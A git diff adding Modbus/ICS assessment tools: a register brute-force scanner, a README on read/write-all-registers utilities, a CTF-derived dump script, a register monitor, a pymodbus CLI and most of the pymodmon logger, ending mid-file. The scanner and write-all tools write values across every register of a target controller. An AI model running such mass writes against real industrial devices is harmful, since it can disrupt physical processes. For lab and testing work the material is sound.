+ print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 